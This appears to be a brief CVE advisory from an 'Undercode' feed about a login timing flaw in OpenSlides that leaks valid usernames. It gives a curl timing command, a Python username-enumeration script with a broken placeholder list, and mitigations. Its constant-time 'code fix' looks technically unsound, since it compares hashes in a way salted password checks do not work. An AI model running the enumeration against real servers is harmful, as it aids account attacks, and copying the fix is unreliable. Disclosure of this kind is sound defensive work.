How the CVE Works:
CVE-2025-30344 is a timing-based side-channel vulnerability in OpenSlides versions before 4.2.5. During authentication at /system/auth/login/, the system fails to normalize response times, leaking user existence via timing discrepancies. When a valid username is submitted, password hashing introduces a measurable delay (~100ms), whereas invalid usernames trigger an immediate rejection. Attackers exploit this by enumerating valid usernames through repeated timing measurements, facilitating brute-force or targeted attacks. The flaw stems from insecure handling of authentication logic, bypassing constant-time comparison principles.
DailyCVE Form:
Platform: OpenSlides
Version: <4.2.5
Vulnerability: Timing attack
Severity: Medium
Date: 03/27/2025
What Undercode Say:
Exploitation:
1. Username Enumeration:
curl -X POST http://target/system/auth/login/ -d '{"username":"test"}' -H "Content-Type: application/json" -o /dev/null -w "%{time_total}" -s
Compare response times: valid usernames yield higher values.
2. Automated Script:
import requests
usernames = [bash]
for user in usernames:
response = requests.post("http://target/system/auth/login/", json={"username": user})
print(f"{user}: {response.elapsed.total_seconds()}")
Mitigation:
1. Patch Upgrade:
apt update && apt install openslides=4.2.5
2. Rate Limiting:
limit_req_zone $binary_remote_addr zone=auth:10m rate=5r/s;
location /system/auth/login/ {
limit_req auth;
}
3. Code Fix:
Use constant-time comparison for auth from secrets import compare_digest def authenticate(username, password): dummy_hash = "dummy_value" user_hash = get_user_hash(username) or dummy_hash return compare_digest(user_hash, hash_password(password))
Detection:
grep -r "auth/login" /path/to/openslides | grep -i "timing"
Analytics:
- CVSS: 5.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N)
- Exploitability: Low complexity, no privileges required.
- Impact: Confidentiality breach (username disclosure).
References:
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-30344
Extra Source Hub:
Undercode
